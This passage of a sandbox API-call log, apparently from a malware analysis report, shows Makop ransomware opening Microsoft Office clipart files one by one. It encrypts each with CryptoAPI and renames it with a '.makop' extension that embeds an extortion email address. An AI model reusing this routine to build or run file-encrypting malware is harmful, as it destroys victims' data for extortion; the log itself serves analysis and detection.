dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0116.301] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0116.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.303] GetProcessHeap () returned 0x48a0000 [0116.303] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.303] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.303] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0116.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.307] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.307] GetProcessHeap () returned 0x48a0000 [0116.307] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.308] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.308] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.309] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.309] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.309] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8a12, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8a12, lpOverlapped=0x0) returned 1 [0116.394] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a20, dwBufLen=0x8a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a20) returned 1 [0116.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8a20, lpOverlapped=0x0) returned 1 [0116.395] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.395] SetEndOfFile (hFile=0xf0) returned 1 [0116.402] GetProcessHeap () returned 0x48a0000 [0116.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.402] GetProcessHeap () returned 0x48a0000 [0116.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.402] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.404] CloseHandle (hObject=0xf0) returned 1 [0116.404] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0116.404] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0116.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.405] GetProcessHeap () returned 0x48a0000 [0116.405] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.405] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0116.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.411] GetProcessHeap () returned 0x48a0000 [0116.411] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.411] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.411] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.412] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.413] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x829a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x829a, lpOverlapped=0x0) returned 1 [0116.414] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x82a0, dwBufLen=0x82a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x82a0) returned 1 [0116.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x82a0, lpOverlapped=0x0) returned 1 [0116.415] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.416] SetEndOfFile (hFile=0xf0) returned 1 [0116.423] GetProcessHeap () returned 0x48a0000 [0116.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.423] GetProcessHeap () returned 0x48a0000 [0116.424] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.424] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.428] CloseHandle (hObject=0xf0) returned 1 [0116.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0116.428] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0116.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.429] GetProcessHeap () returned 0x48a0000 [0116.429] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.429] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0116.435] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.435] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.435] GetProcessHeap () returned 0x48a0000 [0116.435] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.435] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.435] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.436] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.436] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.437] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.437] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x375e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x375e, lpOverlapped=0x0) returned 1 [0116.438] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3760, dwBufLen=0x3760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3760) returned 1 [0116.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.439] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3760, lpOverlapped=0x0) returned 1 [0116.439] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.439] SetEndOfFile (hFile=0xf0) returned 1 [0116.446] GetProcessHeap () returned 0x48a0000 [0116.446] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.446] GetProcessHeap () returned 0x48a0000 [0116.446] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.446] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.447] CloseHandle (hObject=0xf0) returned 1 [0116.447] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0116.447] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0116.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.448] GetProcessHeap () returned 0x48a0000 [0116.448] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.448] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.448] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0116.453] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.453] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.453] GetProcessHeap () returned 0x48a0000 [0116.453] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.453] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.453] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.453] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.454] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.454] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.455] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4dba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4dba, lpOverlapped=0x0) returned 1 [0116.456] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dc0, dwBufLen=0x4dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dc0) returned 1 [0116.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4dc0, lpOverlapped=0x0) returned 1 [0116.457] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.457] SetEndOfFile (hFile=0xf0) returned 1 [0116.463] GetProcessHeap () returned 0x48a0000 [0116.463] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.463] GetProcessHeap () returned 0x48a0000 [0116.463] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.463] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 